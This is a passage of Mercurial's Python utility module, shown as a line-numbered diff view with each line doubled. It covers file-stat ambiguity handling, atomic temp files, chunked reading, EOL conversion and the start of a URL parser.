2434 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2432
2435
2433 Case (*2) above means that a file was changed twice or more at
2436 Case (*2) above means that a file was changed twice or more at
2434 same time in sec (= S[n-1].ctime), and comparison of timestamp
2437 same time in sec (= S[n-1].ctime), and comparison of timestamp
2435 is ambiguous.
2438 is ambiguous.
2436
2439
2437 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2440 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2438 timestamp is ambiguous".
2441 timestamp is ambiguous".
2439
2442
2440 But advancing mtime only in case (*2) doesn't work as
2443 But advancing mtime only in case (*2) doesn't work as
2441 expected, because naturally advanced S[n].mtime in case (*1)
2444 expected, because naturally advanced S[n].mtime in case (*1)
2442 might be equal to manually advanced S[n-1 or earlier].mtime.
2445 might be equal to manually advanced S[n-1 or earlier].mtime.
2443
2446
2444 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2447 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2445 treated as ambiguous regardless of mtime, to avoid overlooking
2448 treated as ambiguous regardless of mtime, to avoid overlooking
2446 by confliction between such mtime.
2449 by confliction between such mtime.
2447
2450
2448 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2451 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2449 S[n].mtime", even if size of a file isn't changed.
2452 S[n].mtime", even if size of a file isn't changed.
2450 """
2453 """
2451 try:
2454 try:
2452 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2455 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2453 except AttributeError:
2456 except AttributeError:
2454 return False
2457 return False
2455
2458
2456 def avoidambig(self, path, old):
2459 def avoidambig(self, path, old):
2457 """Change file stat of specified path to avoid ambiguity
2460 """Change file stat of specified path to avoid ambiguity
2458
2461
2459 'old' should be previous filestat of 'path'.
2462 'old' should be previous filestat of 'path'.
2460
2463
2461 This skips avoiding ambiguity, if a process doesn't have
2464 This skips avoiding ambiguity, if a process doesn't have
2462 appropriate privileges for 'path'. This returns False in this
2465 appropriate privileges for 'path'. This returns False in this
2463 case.
2466 case.
2464
2467
2465 Otherwise, this returns True, as "ambiguity is avoided".
2468 Otherwise, this returns True, as "ambiguity is avoided".
2466 """
2469 """
2467 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2470 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2468 try:
2471 try:
2469 os.utime(path, (advanced, advanced))
2472 os.utime(path, (advanced, advanced))
2470 except OSError as inst:
2473 except OSError as inst:
2471 if inst.errno == errno.EPERM:
2474 if inst.errno == errno.EPERM:
2472 # utime() on the file created by another user causes EPERM,
2475 # utime() on the file created by another user causes EPERM,
2473 # if a process doesn't have appropriate privileges
2476 # if a process doesn't have appropriate privileges
2474 return False
2477 return False
2475 raise
2478 raise
2476 return True
2479 return True
2477
2480
2478 def __ne__(self, other):
2481 def __ne__(self, other):
2479 return not self == other
2482 return not self == other
2480
2483
2481
2484
2482 class atomictempfile(object):
2485 class atomictempfile(object):
2483 """writable file object that atomically updates a file
2486 """writable file object that atomically updates a file
2484
2487
2485 All writes will go to a temporary copy of the original file. Call
2488 All writes will go to a temporary copy of the original file. Call
2486 close() when you are done writing, and atomictempfile will rename
2489 close() when you are done writing, and atomictempfile will rename
2487 the temporary copy to the original name, making the changes
2490 the temporary copy to the original name, making the changes
2488 visible. If the object is destroyed without being closed, all your
2491 visible. If the object is destroyed without being closed, all your
2489 writes are discarded.
2492 writes are discarded.
2490
2493
2491 checkambig argument of constructor is used with filestat, and is
2494 checkambig argument of constructor is used with filestat, and is
2492 useful only if target file is guarded by any lock (e.g. repo.lock
2495 useful only if target file is guarded by any lock (e.g. repo.lock
2493 or repo.wlock).
2496 or repo.wlock).
2494 """
2497 """
2495
2498
2496 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2499 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2497 self.__name = name # permanent name
2500 self.__name = name # permanent name
2498 self._tempname = mktempcopy(
2501 self._tempname = mktempcopy(
2499 name,
2502 name,
2500 emptyok=(b'w' in mode),
2503 emptyok=(b'w' in mode),
2501 createmode=createmode,
2504 createmode=createmode,
2502 enforcewritable=(b'w' in mode),
2505 enforcewritable=(b'w' in mode),
2503 )
2506 )
2504
2507
2505 self._fp = posixfile(self._tempname, mode)
2508 self._fp = posixfile(self._tempname, mode)
2506 self._checkambig = checkambig
2509 self._checkambig = checkambig
2507
2510
2508 # delegated methods
2511 # delegated methods
2509 self.read = self._fp.read
2512 self.read = self._fp.read
2510 self.write = self._fp.write
2513 self.write = self._fp.write
2511 self.seek = self._fp.seek
2514 self.seek = self._fp.seek
2512 self.tell = self._fp.tell
2515 self.tell = self._fp.tell
2513 self.fileno = self._fp.fileno
2516 self.fileno = self._fp.fileno
2514
2517
2515 def close(self):
2518 def close(self):
2516 if not self._fp.closed:
2519 if not self._fp.closed:
2517 self._fp.close()
2520 self._fp.close()
2518 filename = localpath(self.__name)
2521 filename = localpath(self.__name)
2519 oldstat = self._checkambig and filestat.frompath(filename)
2522 oldstat = self._checkambig and filestat.frompath(filename)
2520 if oldstat and oldstat.stat:
2523 if oldstat and oldstat.stat:
2521 rename(self._tempname, filename)
2524 rename(self._tempname, filename)
2522 newstat = filestat.frompath(filename)
2525 newstat = filestat.frompath(filename)
2523 if newstat.isambig(oldstat):
2526 if newstat.isambig(oldstat):
2524 # stat of changed file is ambiguous to original one
2527 # stat of changed file is ambiguous to original one
2525 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2528 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2526 os.utime(filename, (advanced, advanced))
2529 os.utime(filename, (advanced, advanced))
2527 else:
2530 else:
2528 rename(self._tempname, filename)
2531 rename(self._tempname, filename)
2529
2532
2530 def discard(self):
2533 def discard(self):
2531 if not self._fp.closed:
2534 if not self._fp.closed:
2532 try:
2535 try:
2533 os.unlink(self._tempname)
2536 os.unlink(self._tempname)
2534 except OSError:
2537 except OSError:
2535 pass
2538 pass
2536 self._fp.close()
2539 self._fp.close()
2537
2540
2538 def __del__(self):
2541 def __del__(self):
2539 if safehasattr(self, '_fp'): # constructor actually did something
2542 if safehasattr(self, '_fp'): # constructor actually did something
2540 self.discard()
2543 self.discard()
2541
2544
2542 def __enter__(self):
2545 def __enter__(self):
2543 return self
2546 return self
2544
2547
2545 def __exit__(self, exctype, excvalue, traceback):
2548 def __exit__(self, exctype, excvalue, traceback):
2546 if exctype is not None:
2549 if exctype is not None:
2547 self.discard()
2550 self.discard()
2548 else:
2551 else:
2549 self.close()
2552 self.close()
2550
2553
2551
2554
2552 def unlinkpath(f, ignoremissing=False, rmdir=True):
2555 def unlinkpath(f, ignoremissing=False, rmdir=True):
2553 # type: (bytes, bool, bool) -> None
2556 # type: (bytes, bool, bool) -> None
2554 """unlink and remove the directory if it is empty"""
2557 """unlink and remove the directory if it is empty"""
2555 if ignoremissing:
2558 if ignoremissing:
2556 tryunlink(f)
2559 tryunlink(f)
2557 else:
2560 else:
2558 unlink(f)
2561 unlink(f)
2559 if rmdir:
2562 if rmdir:
2560 # try removing directories that might now be empty
2563 # try removing directories that might now be empty
2561 try:
2564 try:
2562 removedirs(os.path.dirname(f))
2565 removedirs(os.path.dirname(f))
2563 except OSError:
2566 except OSError:
2564 pass
2567 pass
2565
2568
2566
2569
2567 def tryunlink(f):
2570 def tryunlink(f):
2568 # type: (bytes) -> None
2571 # type: (bytes) -> None
2569 """Attempt to remove a file, ignoring ENOENT errors."""
2572 """Attempt to remove a file, ignoring ENOENT errors."""
2570 try:
2573 try:
2571 unlink(f)
2574 unlink(f)
2572 except OSError as e:
2575 except OSError as e:
2573 if e.errno != errno.ENOENT:
2576 if e.errno != errno.ENOENT:
2574 raise
2577 raise
2575
2578
2576
2579
2577 def makedirs(name, mode=None, notindexed=False):
2580 def makedirs(name, mode=None, notindexed=False):
2578 # type: (bytes, Optional[int], bool) -> None
2581 # type: (bytes, Optional[int], bool) -> None
2579 """recursive directory creation with parent mode inheritance
2582 """recursive directory creation with parent mode inheritance
2580
2583
2581 Newly created directories are marked as "not to be indexed by
2584 Newly created directories are marked as "not to be indexed by
2582 the content indexing service", if ``notindexed`` is specified
2585 the content indexing service", if ``notindexed`` is specified
2583 for "write" mode access.
2586 for "write" mode access.
2584 """
2587 """
2585 try:
2588 try:
2586 makedir(name, notindexed)
2589 makedir(name, notindexed)
2587 except OSError as err:
2590 except OSError as err:
2588 if err.errno == errno.EEXIST:
2591 if err.errno == errno.EEXIST:
2589 return
2592 return
2590 if err.errno != errno.ENOENT or not name:
2593 if err.errno != errno.ENOENT or not name:
2591 raise
2594 raise
2592 parent = os.path.dirname(os.path.abspath(name))
2595 parent = os.path.dirname(os.path.abspath(name))
2593 if parent == name:
2596 if parent == name:
2594 raise
2597 raise
2595 makedirs(parent, mode, notindexed)
2598 makedirs(parent, mode, notindexed)
2596 try:
2599 try:
2597 makedir(name, notindexed)
2600 makedir(name, notindexed)
2598 except OSError as err:
2601 except OSError as err:
2599 # Catch EEXIST to handle races
2602 # Catch EEXIST to handle races
2600 if err.errno == errno.EEXIST:
2603 if err.errno == errno.EEXIST:
2601 return
2604 return
2602 raise
2605 raise
2603 if mode is not None:
2606 if mode is not None:
2604 os.chmod(name, mode)
2607 os.chmod(name, mode)
2605
2608
2606
2609
2607 def readfile(path):
2610 def readfile(path):
2608 # type: (bytes) -> bytes
2611 # type: (bytes) -> bytes
2609 with open(path, b'rb') as fp:
2612 with open(path, b'rb') as fp:
2610 return fp.read()
2613 return fp.read()
2611
2614
2612
2615
2613 def writefile(path, text):
2616 def writefile(path, text):
2614 # type: (bytes, bytes) -> None
2617 # type: (bytes, bytes) -> None
2615 with open(path, b'wb') as fp:
2618 with open(path, b'wb') as fp:
2616 fp.write(text)
2619 fp.write(text)
2617
2620
2618
2621
2619 def appendfile(path, text):
2622 def appendfile(path, text):
2620 # type: (bytes, bytes) -> None
2623 # type: (bytes, bytes) -> None
2621 with open(path, b'ab') as fp:
2624 with open(path, b'ab') as fp:
2622 fp.write(text)
2625 fp.write(text)
2623
2626
2624
2627
2625 class chunkbuffer(object):
2628 class chunkbuffer(object):
2626 """Allow arbitrary sized chunks of data to be efficiently read from an
2629 """Allow arbitrary sized chunks of data to be efficiently read from an
2627 iterator over chunks of arbitrary size."""
2630 iterator over chunks of arbitrary size."""
2628
2631
2629 def __init__(self, in_iter):
2632 def __init__(self, in_iter):
2630 """in_iter is the iterator that's iterating over the input chunks."""
2633 """in_iter is the iterator that's iterating over the input chunks."""
2631
2634
2632 def splitbig(chunks):
2635 def splitbig(chunks):
2633 for chunk in chunks:
2636 for chunk in chunks:
2634 if len(chunk) > 2 ** 20:
2637 if len(chunk) > 2 ** 20:
2635 pos = 0
2638 pos = 0
2636 while pos < len(chunk):
2639 while pos < len(chunk):
2637 end = pos + 2 ** 18
2640 end = pos + 2 ** 18
2638 yield chunk[pos:end]
2641 yield chunk[pos:end]
2639 pos = end
2642 pos = end
2640 else:
2643 else:
2641 yield chunk
2644 yield chunk
2642
2645
2643 self.iter = splitbig(in_iter)
2646 self.iter = splitbig(in_iter)
2644 self._queue = collections.deque()
2647 self._queue = collections.deque()
2645 self._chunkoffset = 0
2648 self._chunkoffset = 0
2646
2649
2647 def read(self, l=None):
2650 def read(self, l=None):
2648 """Read L bytes of data from the iterator of chunks of data.
2651 """Read L bytes of data from the iterator of chunks of data.
2649 Returns less than L bytes if the iterator runs dry.
2652 Returns less than L bytes if the iterator runs dry.
2650
2653
2651 If size parameter is omitted, read everything"""
2654 If size parameter is omitted, read everything"""
2652 if l is None:
2655 if l is None:
2653 return b''.join(self.iter)
2656 return b''.join(self.iter)
2654
2657
2655 left = l
2658 left = l
2656 buf = []
2659 buf = []
2657 queue = self._queue
2660 queue = self._queue
2658 while left > 0:
2661 while left > 0:
2659 # refill the queue
2662 # refill the queue
2660 if not queue:
2663 if not queue:
2661 target = 2 ** 18
2664 target = 2 ** 18
2662 for chunk in self.iter:
2665 for chunk in self.iter:
2663 queue.append(chunk)
2666 queue.append(chunk)
2664 target -= len(chunk)
2667 target -= len(chunk)
2665 if target <= 0:
2668 if target <= 0:
2666 break
2669 break
2667 if not queue:
2670 if not queue:
2668 break
2671 break
2669
2672
2670 # The easy way to do this would be to queue.popleft(), modify the
2673 # The easy way to do this would be to queue.popleft(), modify the
2671 # chunk (if necessary), then queue.appendleft(). However, for cases
2674 # chunk (if necessary), then queue.appendleft(). However, for cases
2672 # where we read partial chunk content, this incurs 2 dequeue
2675 # where we read partial chunk content, this incurs 2 dequeue
2673 # mutations and creates a new str for the remaining chunk in the
2676 # mutations and creates a new str for the remaining chunk in the
2674 # queue. Our code below avoids this overhead.
2677 # queue. Our code below avoids this overhead.
2675
2678
2676 chunk = queue[0]
2679 chunk = queue[0]
2677 chunkl = len(chunk)
2680 chunkl = len(chunk)
2678 offset = self._chunkoffset
2681 offset = self._chunkoffset
2679
2682
2680 # Use full chunk.
2683 # Use full chunk.
2681 if offset == 0 and left >= chunkl:
2684 if offset == 0 and left >= chunkl:
2682 left -= chunkl
2685 left -= chunkl
2683 queue.popleft()
2686 queue.popleft()
2684 buf.append(chunk)
2687 buf.append(chunk)
2685 # self._chunkoffset remains at 0.
2688 # self._chunkoffset remains at 0.
2686 continue
2689 continue
2687
2690
2688 chunkremaining = chunkl - offset
2691 chunkremaining = chunkl - offset
2689
2692
2690 # Use all of unconsumed part of chunk.
2693 # Use all of unconsumed part of chunk.
2691 if left >= chunkremaining:
2694 if left >= chunkremaining:
2692 left -= chunkremaining
2695 left -= chunkremaining
2693 queue.popleft()
2696 queue.popleft()
2694 # offset == 0 is enabled by block above, so this won't merely
2697 # offset == 0 is enabled by block above, so this won't merely
2695 # copy via ``chunk[0:]``.
2698 # copy via ``chunk[0:]``.
2696 buf.append(chunk[offset:])
2699 buf.append(chunk[offset:])
2697 self._chunkoffset = 0
2700 self._chunkoffset = 0
2698
2701
2699 # Partial chunk needed.
2702 # Partial chunk needed.
2700 else:
2703 else:
2701 buf.append(chunk[offset : offset + left])
2704 buf.append(chunk[offset : offset + left])
2702 self._chunkoffset += left
2705 self._chunkoffset += left
2703 left -= chunkremaining
2706 left -= chunkremaining
2704
2707
2705 return b''.join(buf)
2708 return b''.join(buf)
2706
2709
2707
2710
2708 def filechunkiter(f, size=131072, limit=None):
2711 def filechunkiter(f, size=131072, limit=None):
2709 """Create a generator that produces the data in the file size
2712 """Create a generator that produces the data in the file size
2710 (default 131072) bytes at a time, up to optional limit (default is
2713 (default 131072) bytes at a time, up to optional limit (default is
2711 to read all data). Chunks may be less than size bytes if the
2714 to read all data). Chunks may be less than size bytes if the
2712 chunk is the last chunk in the file, or the file is a socket or
2715 chunk is the last chunk in the file, or the file is a socket or
2713 some other type of file that sometimes reads less data than is
2716 some other type of file that sometimes reads less data than is
2714 requested."""
2717 requested."""
2715 assert size >= 0
2718 assert size >= 0
2716 assert limit is None or limit >= 0
2719 assert limit is None or limit >= 0
2717 while True:
2720 while True:
2718 if limit is None:
2721 if limit is None:
2719 nbytes = size
2722 nbytes = size
2720 else:
2723 else:
2721 nbytes = min(limit, size)
2724 nbytes = min(limit, size)
2722 s = nbytes and f.read(nbytes)
2725 s = nbytes and f.read(nbytes)
2723 if not s:
2726 if not s:
2724 break
2727 break
2725 if limit:
2728 if limit:
2726 limit -= len(s)
2729 limit -= len(s)
2727 yield s
2730 yield s
2728
2731
2729
2732
2730 class cappedreader(object):
2733 class cappedreader(object):
2731 """A file object proxy that allows reading up to N bytes.
2734 """A file object proxy that allows reading up to N bytes.
2732
2735
2733 Given a source file object, instances of this type allow reading up to
2736 Given a source file object, instances of this type allow reading up to
2734 N bytes from that source file object. Attempts to read past the allowed
2737 N bytes from that source file object. Attempts to read past the allowed
2735 limit are treated as EOF.
2738 limit are treated as EOF.
2736
2739
2737 It is assumed that I/O is not performed on the original file object
2740 It is assumed that I/O is not performed on the original file object
2738 in addition to I/O that is performed by this instance. If there is,
2741 in addition to I/O that is performed by this instance. If there is,
2739 state tracking will get out of sync and unexpected results will ensue.
2742 state tracking will get out of sync and unexpected results will ensue.
2740 """
2743 """
2741
2744
2742 def __init__(self, fh, limit):
2745 def __init__(self, fh, limit):
2743 """Allow reading up to <limit> bytes from <fh>."""
2746 """Allow reading up to <limit> bytes from <fh>."""
2744 self._fh = fh
2747 self._fh = fh
2745 self._left = limit
2748 self._left = limit
2746
2749
2747 def read(self, n=-1):
2750 def read(self, n=-1):
2748 if not self._left:
2751 if not self._left:
2749 return b''
2752 return b''
2750
2753
2751 if n < 0:
2754 if n < 0:
2752 n = self._left
2755 n = self._left
2753
2756
2754 data = self._fh.read(min(n, self._left))
2757 data = self._fh.read(min(n, self._left))
2755 self._left -= len(data)
2758 self._left -= len(data)
2756 assert self._left >= 0
2759 assert self._left >= 0
2757
2760
2758 return data
2761 return data
2759
2762
2760 def readinto(self, b):
2763 def readinto(self, b):
2761 res = self.read(len(b))
2764 res = self.read(len(b))
2762 if res is None:
2765 if res is None:
2763 return None
2766 return None
2764
2767
2765 b[0 : len(res)] = res
2768 b[0 : len(res)] = res
2766 return len(res)
2769 return len(res)
2767
2770
2768
2771
2769 def unitcountfn(*unittable):
2772 def unitcountfn(*unittable):
2770 '''return a function that renders a readable count of some quantity'''
2773 '''return a function that renders a readable count of some quantity'''
2771
2774
2772 def go(count):
2775 def go(count):
2773 for multiplier, divisor, format in unittable:
2776 for multiplier, divisor, format in unittable:
2774 if abs(count) >= divisor * multiplier:
2777 if abs(count) >= divisor * multiplier:
2775 return format % (count / float(divisor))
2778 return format % (count / float(divisor))
2776 return unittable[-1][2] % count
2779 return unittable[-1][2] % count
2777
2780
2778 return go
2781 return go
2779
2782
2780
2783
2781 def processlinerange(fromline, toline):
2784 def processlinerange(fromline, toline):
2782 # type: (int, int) -> Tuple[int, int]
2785 # type: (int, int) -> Tuple[int, int]
2783 """Check that linerange <fromline>:<toline> makes sense and return a
2786 """Check that linerange <fromline>:<toline> makes sense and return a
2784 0-based range.
2787 0-based range.
2785
2788
2786 >>> processlinerange(10, 20)
2789 >>> processlinerange(10, 20)
2787 (9, 20)
2790 (9, 20)
2788 >>> processlinerange(2, 1)
2791 >>> processlinerange(2, 1)
2789 Traceback (most recent call last):
2792 Traceback (most recent call last):
2790 ...
2793 ...
2791 ParseError: line range must be positive
2794 ParseError: line range must be positive
2792 >>> processlinerange(0, 5)
2795 >>> processlinerange(0, 5)
2793 Traceback (most recent call last):
2796 Traceback (most recent call last):
2794 ...
2797 ...
2795 ParseError: fromline must be strictly positive
2798 ParseError: fromline must be strictly positive
2796 """
2799 """
2797 if toline - fromline < 0:
2800 if toline - fromline < 0:
2798 raise error.ParseError(_(b"line range must be positive"))
2801 raise error.ParseError(_(b"line range must be positive"))
2799 if fromline < 1:
2802 if fromline < 1:
2800 raise error.ParseError(_(b"fromline must be strictly positive"))
2803 raise error.ParseError(_(b"fromline must be strictly positive"))
2801 return fromline - 1, toline
2804 return fromline - 1, toline
2802
2805
2803
2806
2804 bytecount = unitcountfn(
2807 bytecount = unitcountfn(
2805 (100, 1 << 30, _(b'%.0f GB')),
2808 (100, 1 << 30, _(b'%.0f GB')),
2806 (10, 1 << 30, _(b'%.1f GB')),
2809 (10, 1 << 30, _(b'%.1f GB')),
2807 (1, 1 << 30, _(b'%.2f GB')),
2810 (1, 1 << 30, _(b'%.2f GB')),
2808 (100, 1 << 20, _(b'%.0f MB')),
2811 (100, 1 << 20, _(b'%.0f MB')),
2809 (10, 1 << 20, _(b'%.1f MB')),
2812 (10, 1 << 20, _(b'%.1f MB')),
2810 (1, 1 << 20, _(b'%.2f MB')),
2813 (1, 1 << 20, _(b'%.2f MB')),
2811 (100, 1 << 10, _(b'%.0f KB')),
2814 (100, 1 << 10, _(b'%.0f KB')),
2812 (10, 1 << 10, _(b'%.1f KB')),
2815 (10, 1 << 10, _(b'%.1f KB')),
2813 (1, 1 << 10, _(b'%.2f KB')),
2816 (1, 1 << 10, _(b'%.2f KB')),
2814 (1, 1, _(b'%.0f bytes')),
2817 (1, 1, _(b'%.0f bytes')),
2815 )
2818 )
2816
2819
2817
2820
2818 class transformingwriter(object):
2821 class transformingwriter(object):
2819 """Writable file wrapper to transform data by function"""
2822 """Writable file wrapper to transform data by function"""
2820
2823
2821 def __init__(self, fp, encode):
2824 def __init__(self, fp, encode):
2822 self._fp = fp
2825 self._fp = fp
2823 self._encode = encode
2826 self._encode = encode
2824
2827
2825 def close(self):
2828 def close(self):
2826 self._fp.close()
2829 self._fp.close()
2827
2830
2828 def flush(self):
2831 def flush(self):
2829 self._fp.flush()
2832 self._fp.flush()
2830
2833
2831 def write(self, data):
2834 def write(self, data):
2832 return self._fp.write(self._encode(data))
2835 return self._fp.write(self._encode(data))
2833
2836
2834
2837
2835 # Matches a single EOL which can either be a CRLF where repeated CR
2838 # Matches a single EOL which can either be a CRLF where repeated CR
2836 # are removed or a LF. We do not care about old Macintosh files, so a
2839 # are removed or a LF. We do not care about old Macintosh files, so a
2837 # stray CR is an error.
2840 # stray CR is an error.
2838 _eolre = remod.compile(br'\r*\n')
2841 _eolre = remod.compile(br'\r*\n')
2839
2842
2840
2843
2841 def tolf(s):
2844 def tolf(s):
2842 # type: (bytes) -> bytes
2845 # type: (bytes) -> bytes
2843 return _eolre.sub(b'\n', s)
2846 return _eolre.sub(b'\n', s)
2844
2847
2845
2848
2846 def tocrlf(s):
2849 def tocrlf(s):
2847 # type: (bytes) -> bytes
2850 # type: (bytes) -> bytes
2848 return _eolre.sub(b'\r\n', s)
2851 return _eolre.sub(b'\r\n', s)
2849
2852
2850
2853
2851 def _crlfwriter(fp):
2854 def _crlfwriter(fp):
2852 return transformingwriter(fp, tocrlf)
2855 return transformingwriter(fp, tocrlf)
2853
2856
2854
2857
2855 if pycompat.oslinesep == b'\r\n':
2858 if pycompat.oslinesep == b'\r\n':
2856 tonativeeol = tocrlf
2859 tonativeeol = tocrlf
2857 fromnativeeol = tolf
2860 fromnativeeol = tolf
2858 nativeeolwriter = _crlfwriter
2861 nativeeolwriter = _crlfwriter
2859 else:
2862 else:
2860 tonativeeol = pycompat.identity
2863 tonativeeol = pycompat.identity
2861 fromnativeeol = pycompat.identity
2864 fromnativeeol = pycompat.identity
2862 nativeeolwriter = pycompat.identity
2865 nativeeolwriter = pycompat.identity
2863
2866
2864 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2867 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2865 3,
2868 3,
2866 0,
2869 0,
2867 ):
2870 ):
2868 # There is an issue in CPython that some IO methods do not handle EINTR
2871 # There is an issue in CPython that some IO methods do not handle EINTR
2869 # correctly. The following table shows what CPython version (and functions)
2872 # correctly. The following table shows what CPython version (and functions)
2870 # are affected (buggy: has the EINTR bug, okay: otherwise):
2873 # are affected (buggy: has the EINTR bug, okay: otherwise):
2871 #
2874 #
2872 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2875 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2873 # --------------------------------------------------
2876 # --------------------------------------------------
2874 # fp.__iter__ | buggy | buggy | okay
2877 # fp.__iter__ | buggy | buggy | okay
2875 # fp.read* | buggy | okay [1] | okay
2878 # fp.read* | buggy | okay [1] | okay
2876 #
2879 #
2877 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2880 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2878 #
2881 #
2879 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2882 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2880 # like "read*" work fine, as we do not support Python < 2.7.4.
2883 # like "read*" work fine, as we do not support Python < 2.7.4.
2881 #
2884 #
2882 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2885 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2883 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2886 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2884 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2887 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2885 # fp.__iter__ but not other fp.read* methods.
2888 # fp.__iter__ but not other fp.read* methods.
2886 #
2889 #
2887 # On modern systems like Linux, the "read" syscall cannot be interrupted
2890 # On modern systems like Linux, the "read" syscall cannot be interrupted
2888 # when reading "fast" files like on-disk files. So the EINTR issue only
2891 # when reading "fast" files like on-disk files. So the EINTR issue only
2889 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2892 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2890 # files approximately as "fast" files and use the fast (unsafe) code path,
2893 # files approximately as "fast" files and use the fast (unsafe) code path,
2891 # to minimize the performance impact.
2894 # to minimize the performance impact.
2892
2895
2893 def iterfile(fp):
2896 def iterfile(fp):
2894 fastpath = True
2897 fastpath = True
2895 if type(fp) is file:
2898 if type(fp) is file:
2896 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2899 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2897 if fastpath:
2900 if fastpath:
2898 return fp
2901 return fp
2899 else:
2902 else:
2900 # fp.readline deals with EINTR correctly, use it as a workaround.
2903 # fp.readline deals with EINTR correctly, use it as a workaround.
2901 return iter(fp.readline, b'')
2904 return iter(fp.readline, b'')
2902
2905
2903
2906
2904 else:
2907 else:
2905 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2908 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2906 def iterfile(fp):
2909 def iterfile(fp):
2907 return fp
2910 return fp
2908
2911
2909
2912
2910 def iterlines(iterator):
2913 def iterlines(iterator):
2911 # type: (Iterator[bytes]) -> Iterator[bytes]
2914 # type: (Iterator[bytes]) -> Iterator[bytes]
2912 for chunk in iterator:
2915 for chunk in iterator:
2913 for line in chunk.splitlines():
2916 for line in chunk.splitlines():
2914 yield line
2917 yield line
2915
2918
2916
2919
2917 def expandpath(path):
2920 def expandpath(path):
2918 # type: (bytes) -> bytes
2921 # type: (bytes) -> bytes
2919 return os.path.expanduser(os.path.expandvars(path))
2922 return os.path.expanduser(os.path.expandvars(path))
2920
2923
2921
2924
2922 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2925 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2923 """Return the result of interpolating items in the mapping into string s.
2926 """Return the result of interpolating items in the mapping into string s.
2924
2927
2925 prefix is a single character string, or a two character string with
2928 prefix is a single character string, or a two character string with
2926 a backslash as the first character if the prefix needs to be escaped in
2929 a backslash as the first character if the prefix needs to be escaped in
2927 a regular expression.
2930 a regular expression.
2928
2931
2929 fn is an optional function that will be applied to the replacement text
2932 fn is an optional function that will be applied to the replacement text
2930 just before replacement.
2933 just before replacement.
2931
2934
2932 escape_prefix is an optional flag that allows using doubled prefix for
2935 escape_prefix is an optional flag that allows using doubled prefix for
2933 its escaping.
2936 its escaping.
2934 """
2937 """
2935 fn = fn or (lambda s: s)
2938 fn = fn or (lambda s: s)
2936 patterns = b'|'.join(mapping.keys())
2939 patterns = b'|'.join(mapping.keys())
2937 if escape_prefix:
2940 if escape_prefix:
2938 patterns += b'|' + prefix
2941 patterns += b'|' + prefix
2939 if len(prefix) > 1:
2942 if len(prefix) > 1:
2940 prefix_char = prefix[1:]
2943 prefix_char = prefix[1:]
2941 else:
2944 else:
2942 prefix_char = prefix
2945 prefix_char = prefix
2943 mapping[prefix_char] = prefix_char
2946 mapping[prefix_char] = prefix_char
2944 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2947 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2945 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2948 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2946
2949
2947
2950
2948 def getport(port):
2951 def getport(port):
2949 # type: (Union[bytes, int]) -> int
2952 # type: (Union[bytes, int]) -> int
2950 """Return the port for a given network service.
2953 """Return the port for a given network service.
2951
2954
2952 If port is an integer, it's returned as is. If it's a string, it's
2955 If port is an integer, it's returned as is. If it's a string, it's
2953 looked up using socket.getservbyname(). If there's no matching
2956 looked up using socket.getservbyname(). If there's no matching
2954 service, error.Abort is raised.
2957 service, error.Abort is raised.
2955 """
2958 """
2956 try:
2959 try:
2957 return int(port)
2960 return int(port)
2958 except ValueError:
2961 except ValueError:
2959 pass
2962 pass
2960
2963
2961 try:
2964 try:
2962 return socket.getservbyname(pycompat.sysstr(port))
2965 return socket.getservbyname(pycompat.sysstr(port))
2963 except socket.error:
2966 except socket.error:
2964 raise error.Abort(
2967 raise error.Abort(
2965 _(b"no port number associated with service '%s'") % port
2968 _(b"no port number associated with service '%s'") % port
2966 )
2969 )
2967
2970
2968
2971
2969 class url(object):
2972 class url(object):
2970 r"""Reliable URL parser.
2973 r"""Reliable URL parser.
2971
2974
2972 This parses URLs and provides attributes for the following
2975 This parses URLs and provides attributes for the following
2973 components:
2976 components:
2974
2977
2975 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2978 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2976
2979
2977 Missing components are set to None. The only exception is
2980 Missing components are set to None. The only exception is
2978 fragment, which is set to '' if present but empty.
2981 fragment, which is set to '' if present but empty.
2979
2982
2980 If parsefragment is False, fragment is included in query. If
2983 If parsefragment is False, fragment is included in query. If
2981 parsequery is False, query is included in path. If both are
